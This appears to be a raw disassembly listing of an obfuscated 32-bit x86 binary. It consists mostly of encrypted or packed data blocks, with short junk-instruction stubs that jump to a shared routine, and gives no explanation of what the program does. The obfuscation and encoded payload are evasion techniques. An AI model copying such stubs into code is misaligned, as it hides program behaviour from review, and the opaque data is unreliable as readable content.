		dd 0B2C7E888h, 72CE366Fh, 1144845Ah, 18570275h,	0F77D330h
		dd 644C379Ch, 0C627DBCEh, 43FFA79Ah, 40495364h,	6963886Ah
		dd 6C0A917Ch, 0D24DF6DCh, 0E7E17481h, 35BE5C31h, 0CC45E553h
		dd 3081D25Dh, 0D562DEA5h, 0B8720CAAh, 5DB12AFEh, 580F81D2h
		dd 4A9BCCDCh, 4A117FD0h, 36BB592Ch, 8669FCBAh, 0F79E6361h
		dd 0C4DABFF6h, 0CF9F15EAh, 22F12h, 13946700h, 0E60BE87Dh
		dd 70791FE2h, 0C0E5891Ch, 5358398Ch, 0D288B73Dh, 4DD0B43Dh
		dd 0F14408ADh, 67CA9E23h, 58796F90h, 0B851CA5Eh, 1DAF7105h
		dd 0A2432A5Eh, 0BA8E6104h, 0EF0F56Eh, 319C4B77h, 0D6B63257h
		dd 0AEC8E691h, 1200209Ah, 0E2B31E75h, 0DCE58AD9h, 1E72D98Ch
		dd 7D08AA4Fh, 31E7437Fh, 0EF6F0EF8h, 84CBEC80h,	0CE9BCDF6h
		dd 0D0A64763h, 0C893962Bh, 0F012D9F0h, 0EC813974h, 494210Ch
		dd 3319981Dh, 8E0C8A4h,	51FCEF68h, 320AA38Eh, 5035575Ch
		dd 7D68FC0Fh, 0D3C0EDA1h, 35B31E95h, 0C9E1FF8Ah, 30849B61h
		dd 9AF299E6h, 6A04A2EDh, 2A308DDEh, 1A5403ECh, 4D03A44Bh
		dd 0E74315F8h, 0E82A126Eh, 0F9B807D2h, 6834FA6Ah, 5DC21FEFh
		dd 35000001h, 0BE034166h, 2DB0D4DDh, 5F22A64Bh,	0CF5236B7h
		dd 61C3812Ah, 0EA0FE0B6h, 7E7F13E6h, 0CCF5876Ah, 5D623598h
		dd 1830760Fh, 7105B77Fh, 2AA84BFDh, 4A04A243h, 0EF065FEh
		dd 40BCA577h, 0EF7AC4EDh, 234B21B4h, 0BFFBF984h, 10FE0D6Bh
		dd 28BC2B75h, 6785F0ABh, 73D7914Bh, 770EF0DAh, 1535B326h
		dd 75082491h, 8B2CC0AFh, 0CE3823Ch, 7D10E5EBh, 919D3E78h
		dd 4A78F0F2h, 3ADDD799h, 0BB06E6A7h, 6F1AAD3Dh,	9B113971h
		dd 996EFECFh, 6BFAB4F2h, 0B0666687h, 0E8FFF98h,	3EE7D77h
		dd 882DC0A5h, 199E71C4h, 0AF4D384Fh, 8D093713h,	7D107511h
		dd 859C189Dh, 46CE9FD6h, 0FB93E0D3h, 9B66h, 8728CB00h
		dd 1A9F7CC1h, 0E40DE376h, 74791DE0h, 0C7EC8D10h, 0A6F42381h
		dd 0D1A428D1h, 4528BC41h, 0CB5E32B7h, 0B4CD8324h, 0B7BD56F2h
		dd 71037105h, 886C01F2h, 533E8967h, 0A10D1D55h,	9F750824h
		dd 5A3D80C8h, 0A8481D55h, 4D004507h, 54008ADh, 9F76DBAFh
		dd 6BA64E1Eh, 0BD412C74h, 741B5387h, 0E5881D73h, 3A525738h
		dd 0E88C0AFh, 9A16977Fh, 0CE9E1FF7h, 237BAF85h,	5025AB4Ch
		dd 52A3F2BDh, 51B850C0h, 0DFE05F47h, 0C1AC5307h, 8C31C4A9h
		dd 5B3389DCh, 386h, 80033D00h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
		dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
		dd 4008B142h
		db 0Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	1BB4h
		mov	[esp], ecx
		push	eax
		mov	eax, 60934C0h
		push	eax
		add	dword ptr [esp], 5EF139A8h
		pop	edx
		sub	edx, 5EF139A8h
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		push	edx
		mov	edx, 75E008E2h
		sub	[esp+4], edx
		pop	edx
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 75E008E2h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 0ECh, 0DDh, 0Bh
		dd 93AA1B8h, 0FFC50306h, 1D2D5BE0h, 7C741E5Dh, 0B63BE815h
		dd 2A0AFB27h, 0BCE9A31Fh, 50347615h, 446DB60Eh,	0A8118A02h
		dd 1304934Ah, 71BFAD2Fh, 3206265Ch, 9C24CF15h, 0B37E3857h
		dd 2F0FEE7Bh, 21DD9E5Eh, 0D3085B03h, 8A254F0Dh,	0E4AF6936h
		dd 1803D718h, 0BF2E7022h, 0B545CC0Fh, 26564B31h, 2069533Ch
		dd 0D235673Ah, 3A393763h, 7D126C1Bh, 8337CA7Ch,	0FA4F186Bh
		dd 7616977Eh, 56EE7023h, 0E4850C01h, 314B965Bh,	0DE81Dh
		dd 0EAA50000h, 0E55E098Bh, 0EA86C438h, 0FEC0A6Eh, 8159FFBFh
		dd 7362C1h, 0D667BE00h,	0B7BB27CEh, 6600001Ch, 0FFD973BFh
		dd 8E931h, 868F0000h, 0E1AB8733h, 565A365Ah, 0F2815EF5h
		dd 746C8464h, 5099FBFh,	3FEA813Ah, 605FA5DAh, 2785DB81h
		dd 81666CBFh, 61AA39DFh, 0C85EF281h, 6660515Ch,	0EB09C881h
		dd 0F88B6660h, 11896161h, 0FC88B60h, 38Dh, 0C0BF0F00h
		dd 4E98361h, 0EB839CB4h, 0A0850F01h, 0B8FFFFFFh, 606FB3AEh
		dd 8EBh, 0F15A0000h, 0E1E97C8Ch, 68000004h, 6093D5Ah, 0FA4110E9h
		dd 3DFF68FFh, 6E90609h,	68FFFA41h, 6093F4Ch, 0FA40FCE9h
		dd 0FB043FFh, 8227F459h, 6C957BCEh, 0FC019578h,	4F7405E8h
		dd 3E6CAB19h, 0A93C5059h, 0DDA024C9h, 43D6BA3Fh, 3C450BACh
		dd 0B435AE7Ah, 0F98B7105h, 835E017Ah, 0F1B8E007h, 3AD37733h
		dd 86770E07h, 5F3055D3h, 0E47B1C5Ah, 60C30DBAh,	0DEB2DD2Eh
		dd 0B61D07EAh, 28CF523Ah, 0C3548354h, 0D2C4B9DDh, 0EB961FAh
		dd 0BD08DF77h, 0F7F5802Fh, 0D1C16FBBh, 0E87F7511h, 0D1BB58E0h
		dd 0CB49710Bh, 338B9187h, 1A44936Ah, 32000003h,	4C3EDC61h
		dd 0B0E63FCh, 6D32D971h, 7DFBC8F0h, 611AEE86h, 6FC5EE8Ch
		dd 7B37B5C0h, 1208F9AFh, 57F3B775h, 710BC1BEh, 0ADC85702h
		dd 68A4059Bh, 0CCEA95A4h, 427F8B2h, 4176654Fh, 55AB8379h
		dd 0D379AB43h, 0F7911AFCh, 22450792h, 9215957h,	77AC6FF1h
		dd 0FDE984Fh, 0BC014768h, 579DD4D9h, 241DB68Dh,	3368944h
		dd 0A1700000h, 18E5481Ch, 8668FD93h, 0F29A6F7Dh, 650A9FCDh
		dd 7BBA085Ch, 23A14A2Fh, 5735BA5Eh, 0C58B30C2h,	74189D70h
		dd 44DD6D2Dh, 0B87105B3h, 85F06B08h, 30FF4B67h,	8775081Ch
		dd 3C1C4CD4h, 5D973ECh,	7D02C971h, 54D0CAFFh, 3DD0EE7Dh
		dd 2BA4845Ch, 917105BAh, 84697FCAh, 5C6536F3h, 2BFFB9F1h
		dd 7105BAB2h, 402A910Eh, 5B261087h, 0F01870CCh,	0A5CD40E0h
		dd 32AB7F39h, 0C27D180Ah, 0DF8A852Ah, 8E690C61h, 99601803h
		dd 0F67B1AA8h, 0EBEE4D12h, 0F89015F9h, 0F8BB06EDh, 1F267E4Ah
		dd 911AF797h, 0D5000002h, 5E23A146h, 0CD5034BDh, 7FC2862Bh
		dd 0EF721697h, 1E3E10Ah, 0CAEF80D6h, 5E5F3386h,	2CD5A70Ah
		dd 0BD42D5B8h, 3810962Fh, 7105B39Fh, 0F0886B1Dh, 0FF4B6785h
		dd 75081C30h, 0A51375E0h, 338932C0h, 5B47E1Bh, 19EC8A71h
		dd 0C5F9777Ch, 1038F291h, 7105B477h, 0A99A16C5h, 93641293h
		dd 159A7D10h, 1A3BD9Fh,	2A3E0000h, 472AA243h, 2E590FB0h
		dd 1D2D4563h, 75120047h, 0C07616C5h, 0CDAB502Dh, 0BE060FDh
		dd 7B0AAC71h, 697C6C95h, 7D7BAF93h, 936A3E67h, 5C60h, 6C019300h
		dd 0F9FE928Fh, 7D6FFAEFh, 58238C68h, 7A0C1C5Ah,	977511FFh
		dd 5C5722F6h, 61B82DD3h, 0A124A433h, 437FEACBh,	0A527CCA2h
		dd 72244420h, 0EFF90293h, 0B12E7EFAh, 7F710BD6h, 0B02901BBh
		dd 0C710BD6h, 432ED3A1h, 0DE8DD1E5h, 646670Fh, 0C6DEE543h
		dd 81936A37h, 0ACh, 0A2432A32h,	9B2472Ah, 491BF25Fh, 0EF068E1h
		dd 0BA01D477h, 0CEA342FCh, 0F06AE325h, 3D6770Eh, 9578C5A5h
		dd 0DDAC7C10h, 1F770EF4h, 0C5EE8F78h, 325D6A7Eh, 3F2EFAB4h
		dd 0F1750C88h, 0D8B94C6Ah, 24F697D3h, 1C98CD9Fh, 0EF14E548h
		dd 0D5B56CD4h, 449971E0h, 144h,	7E129366h, 0E3E10AEBh
		dd 1D73781Eh, 8DC3E488h, 3E525738h, 3CDD89B4h, 0AC4CD1B7h
		dd 22F0450Bh, 8F66CB99h, 5F5B7A6Eh, 5B152CBh, 5D1EAE71h
		dd 28BC452Ah, 8DC9AD6Eh, 9BCDF29Ah, 0A80FA9CEh,	0C6A93CB8h
		dd 0C96137D9h, 770E4D50h, 3A5239ACh, 0D78CC0AFh, 12885E01h
		dd 98BC2FE9h, 0CE9E23F5h, 0A5481D9Bh, 0FD9015F8h, 410B961Bh
		dd 0DA9419FCh, 49C26620h, 0B7770E61h, 616FE820h, 0F381770Eh
		dd 0A400D7CEh, 0DEDCA7C0h, 1CF788A0h, 0E6757511h, 0AF5425C8h
		dd 6EE7F39h, 0A6230BE1h, 5E710B2Eh, 0CF5236B7h,	0AC7812Ah
		dd 98h,	0A2C6AB6Ch, 30C371AFh, 98472526h, 0F874C35Fh, 6785F07Bh
		dd 1CA4FF4Bh, 0C99C7508h, 0BB3CDCB1h, 2DC0AD3Dh, 8B5AC488h
		dd 2EBEC3E4h, 54AC4B8Ch, 690C61DFh, 4CDBDCBCh, 0F028F41Ch
		dd 36DA2A82h, 0A34AD7B1h, 34084A02h, 191756E0h,	0D5DABDF5h
		dd 0CE47E39Dh, 32FA82F0h, 5434BD5Fh, 0BACEAA31h, 2DBF40D7h
		dd 70D8AC40h, 0FA82F0D7h, 0A12BB625h, 0D1BB3CDCh, 4701AA4Ch
		dd 55E52915h, 0F688DCD0h, 67CA9E1Fh, 0BB7D6F90h, 99F40818h
		dd 239906EEh, 33Eh, 80034500h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
		dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
		dd 4008B142h, 4EC810Bh,	54000000h, 8324048Fh, 68042404h
		dd 514h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, 2DA3772Bh
		add	edi, 1
		add	edi, 0D865C53Dh
		mov	esi, edi
		pop	edi
		push	6620h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 0ABh
		dd 38C212Eh, 0AF196417h, 9A3B1720h, 940B5B8h, 0FFC50306h
		dd 9C5DF2E0h, 44408F6Fh, 0AAB93F69h, 3105933Eh,	5A223006h
		dd 6608C177h, 6660BC3Fh, 78E00D61h, 10CB8B69h, 540BA35h
		dd 9CE4C35Ch, 3211B379h, 3392E047h, 148D8D6Dh, 6A060942h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0ECCEC355h, 7E94D3Dh, 3000000h, 1F9A08DDh
		dd 8D892B00h, 60331D1h,	114D9D8Bh, 9D030603h, 6031455h
		dd 1E185C7h, 70980603h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 4ED10DC3h, 0BDC699FBh
		dd 11BFB4E1h, 0C71F009Fh, 321BD85h, 6, 2D850900h, 0FF06031Ah
		dd 322F9B5h, 31852306h,	8B06031Dh, 30475B5h, 9195FF06h
		dd 8B060326h, 3140D9Dh,	0FF006A06h, 31FB995h, 0EBC08B06h
		dd 0E6A118h, 725CFDE8h,	0D6F8C4BAh, 0E33DB2C0h,	0E0C76369h
		dd 68B3ABA9h, 0E8D8D67h, 6A060943h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 72F0C355h
		dd 0BE9D3E6h, 2D000000h, 0BC4B97E9h, 1905DF7Fh,	0AE8672Eh
		dd 40000000h, 4FDE7509h, 0E92C5432h, 0CDBD09D0h, 5F06031Ch
		dd 31D18D89h, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 958998C3h, 6032A75h, 85C7D18Bh
		dd 60301E1h, 6B9Ch, 21BD85C7h, 603h, 10E80000h,	20000000h
		dd 0A719AC63h, 8587FDF5h, 35964F62h, 58E8C06Ch,	1375B5FFh
		dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 82C94DC3h, 0EE4D2EDFh, 0FF2DDA59h, 3269195h
		dd 0E58D8906h, 6A06030Ch, 0B995FF00h, 8B06031Fh, 8A2CEBC0h
		dd 0EB3A9937h, 0D2343C93h, 0A36D01DDh, 312039C0h, 95C1BB05h
		dd 0D11834D2h, 0C2866C13h, 0F20F266Dh, 6EB2436Ah, 4F0492A2h
		dd 0E807C978h, 6, 0B9150920h, 8B5F461Ch, 32971B5h, 0BFC78106h
		dd 0BB000070h, 1BFAh, 0A79B589h, 0F8B0603h, 13E9h, 3F44B100h
		dd 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh, 0CE2AF181h
		dd 0CE865E2h, 22000000h, 54680A82h, 5E153C82h, 0F6B64D9h
		dd 18Bh, 8158F800h, 2B6C1C1h, 19BD3120h, 81060309h, 1AA76E9h
		dd 290F890Fh, 3304D95h,	28EF8106h, 8164359Ah, 359A24C7h
		dd 0BE964h, 51C0000h, 0E0BEB1F8h, 4FC7C806h, 1EB8325h
		dd 24850Fh, 0DE90000h, 71000000h, 86BB725h, 3683F648h
		dd 0B2EF5AEh, 2EE9h, 7163D300h,	67024F2Eh, 0EDD9098Ch
		dd 870F659Ch, 6, 26ED852Bh, 53E90603h, 4BFFFFFFh, 0B52BD1C0h
		dd 749EF1B1h, 7011E0DFh, 53B55AA6h, 5DB13EE8h, 0ACF23256h
		dd 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE87FACh, 75EB5C83h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13254h, 57BB3581h, 0ABA33252h, 0D5BD325Ah, 0E9573263h
		dd 77F63256h, 0B8F63256h, 5DB132EEh, 0A858F056h, 11B13256h
		dd 79EC0651h, 0E4BE53F5h, 203A5436h, 75B7DBCAh,	4D473256h
		dd 0CE33FF32h, 6A7FC2D7h, 43583109h, 57B13256h,	3DBAE8D3h
		dd 7E569457h, 7532006Bh, 966E4C6Fh, 0C04AB8A3h,	0FEE96837h
		dd 57B13EBFh, 491CF656h, 0FB180225h, 0D0D46E99h, 0B88A4BDh
		dd 30441E89h, 0DB1B9ADh, 47E36204h, 57B13258h, 0CEEDFD78h
		dd 34F9D96Ch, 0F745F550h, 44BE51C4h, 0E2EB5336h, 52D10359h
		dd 472DF1E1h, 57B13244h, 22216114h, 900D9DD8h, 2B19F9CCh
		dd 88E59530h, 733071A4h, 406BF368h, 0AEB126BFh,	1D04DE56h
		dd 0BD80EAEDh, 77DCB6C1h, 4D8C265h, 8F942ED9h, 0E0D0AFFDh
		dd 79F5BB0Eh, 32D15252h, 57B13ABFh, 35681256h, 7F247E29h
		dd 3B3054CDh, 7958C920h, 5EB13256h, 0DA2301Bh, 0D2DE7C1Fh
		dd 0CA3A6853h, 9ABE6006h, 85D06A0Ch, 0EAB6DA04h, 0F5B23256h
		dd 16EECCEFh, 6CBE6C23h, 0F47BB930h, 57E9530Eh,	0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 54F7ECBCh
		dd 2834BF50h, 0DEB73AC7h, 0A2F506D4h, 0B433BF50h, 63B73BE4h
		dd 7CF50AD4h, 0B3FFDA50h, 26593256h, 69B13256h,	5EF516D4h
		dd 0ABB13250h, 50776056h, 0ECB21D6Fh, 0CDE35A00h, 0F4EAEFEh
		dd 5BB21A9Fh, 0DD0DB7DBh, 874E3450h, 0B020B7DFh, 0D1DB3455h
		dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h
		dd 5EF516D4h, 8333BB50h, 6CB73B12h, 0EAB23F16h,	0B582CADDh
		dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 3A23CD56h
		dd 8FB7314Dh, 0AEC9B0DFh, 0FED0345Fh, 0B3F516D3h, 9AD1F150h
		dd 0ADA38FD4h, 17B13250h, 233F556h, 0D5B73170h,	8BB13246h
		dd 0CF3A5295h, 0BCB87672h, 29B10DD5h, 0BECEB175h, 0D4BA4654h
		dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h
		dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h
		dd 0AD62D8D7h, 0C73A345Fh, 0BCB8762Ah, 0D4B977DDh, 0D233B150h
		dd 53B73B12h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 3246D8D7h
		dd 83A345Fh, 5BB8762Eh,	0EACD806Dh, 6CC5345Fh, 743A0CDDh
		dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h
		dd 0A8B23267h, 7560BFDDh, 738A3455h, 0C8A3B24h,	2C323721h
		dd 4E78D952h, 33B94699h, 5E93E3EBh, 0CF06D950h,	57595295h
		dd 0F1B13256h, 9DFED8D7h, 503A345Fh, 73B8762Eh,	0BAB032EFh
		dd 0AE710156h, 0D633B9FDh, 0DEB73B12h, 0A2F54ED4h, 0B5725350h
		dd 0EAB132BEh, 9F306856h, 0BCB87A2Fh, 7288B790h, 0C6E73455h
		dd 83AE5F6Fh, 837887A9h, 503C3455h, 0ECB741EAh,	25E3E2A9h
		dd 0BA31323Eh, 0A2B15856h, 0A7F516E4h, 0F61CD50h, 2BB15A0Ch
		dd 0D5DB3256h, 0AEC980A9h, 0A54E345Fh, 31E4F137h, 5D5952BAh
		dd 0F4B13256h, 1F76D8D7h, 0DE3A345Fh, 0D729DA5Eh, 15E43256h
		dd 7CF506C4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h
		dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h,	0F24AD8D7h
		dd 283A345Fh, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h
		dd 784E67AEh, 73B87662h, 0B6C4090Bh
		dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h
		dd 24D4FDFh, 8A4ECC0Bh,	31EF6D0Dh, 9F78CE13h, 25E4325Ah
		dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 7CF556D4h
		dd 0BAB13350h, 55C4B956h, 25AFB930h, 5EF516ECh,	0A3EEB950h
		dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h
		dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h
		dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h
		dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h
		dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h,	51BE42ADh
		dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h
		dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECB87632h, 0F5AFB930h
		dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h,	6B30C9D7h
		dd 80D12122h, 0AE85A0A9h, 0FCEC345Fh, 39D0CE13h, 28B0CE2Bh
		dd 130BB935h, 7B73144h,	0EFD5B0DDh, 0E988345Fh,	0BAC36A66h
		dd 531888DDh, 31E13455h, 54F556D4h, 9E8D0B50h, 0BC8C4D0Eh
		dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 9E0BB956h
		dd 0D6B73B12h, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h
		dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h
		dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h,	9EA74626h
		dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh
		dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h
		dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h
		dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h,	0D733BF09h
		dd 0FBB73B12h, 0ED23CD00h, 0E1B73B12h, 0FEBB4696h, 3A03BF9Eh
		dd 0B6B73B12h, 603A6446h, 6323CD03h, 0F6B73B12h, 0C46FC7Dh
		dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h,	0AFF78459h
		dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh
		dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh
		dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCB8790Fh, 0D4B977DDh
		dd 0A7F51ED4h, 95785350h, 20E43252h, 2D75B1BAh,	0EAB1DA36h
		dd 0F4EB3256h, 0B3FA48BCh, 0A5F4F550h, 0AEB13256h, 574D7791h
		dd 98B13256h, 0CB3A5496h, 0AED5B091h, 75B0345Fh, 3BD73256h
		dd 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh
		dd 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h
		dd 58313DADh, 0ABB1D7D2h, 80333156h, 0AAB7314Ah, 7A53C9D6h
		dd 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh
		dd 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h
		dd 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h
		dd 3589463Eh, 0FED5B0A9h, 0D6D7345Fh, 5656B248h, 0D64AB330h
		dd 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h,	284E6736h
		dd 5BB87662h, 52F4BB0Bh, 0ABCCB137h, 83343D57h,	5EB13257h
		dd 0E9A38FECh, 0F73A6250h, 0BCB87632h, 5810E6Fh, 0AFA0B059h
		dd 0ED3A3256h, 0ADB214FFh, 0B133B906h, 0D3B73B12h, 7AE9026Ah
		dd 0BAB1C8D9h, 750BB956h, 2DB73B12h, 5EF51AD4h,	9C382650h
		dd 85A175DFh, 0AED5B0DDh, 693A345Fh, 0E5386A66h, 5D64DB5Eh
		dd 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h
		dd 73B8767Eh, 0FE99B0D5h, 0D4A5345Fh, 0BEF6BB61h, 22B2CAD5h
		dd 0CF33F55Ah, 0D7B73B12h, 1B13256h, 7749B153h,	0C7326D2Bh
		dd 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h
		dd 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 19D5A8DDh, 0AA3A345Fh
		dd 57186965h, 0DE313256h, 56773142h, 68B23796h,	73B87632h
		dd 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h
		dd 0D3B87632h, 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h
		dd 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 4971A8DCh
		dd 9631345Eh, 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh
		dd 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh,	0EF72FB37h
		dd 9932DEDDh, 0AE5952AAh, 0DB13256h, 0E63AD8D7h, 6F3A345Fh
		dd 0ECB87672h, 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h
		dd 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh
		dd 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h
		dd 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h
		dd 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h
		dd 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh
		dd 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h
		dd 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh
		dd 0EEF6B944h, 5EBD6DDDh, 51323609h, 103B3153h,	2DB73178h
		dd 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh,	75B48BA9h
		dd 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh
		dd 0D5B1DA36h, 6BEB3256h, 7CFF44BCh, 9E0BB950h,	6EB73B12h
		dd 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h
		dd 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah
		dd 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h
		dd 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h
		dd 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h
		dd 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh
		dd 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh
		dd 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh
		dd 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h
		dd 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h
		dd 0E75BB30Ch, 0E6B73B19h, 636A019Fh, 0CF3ACE0Bh, 0BCB87672h
		dd 29B10DD5h, 518EB132h, 90323723h, 2840D942h, 0A1B13629h
		dd 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh
		dd 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh
		dd 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh
		dd 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh
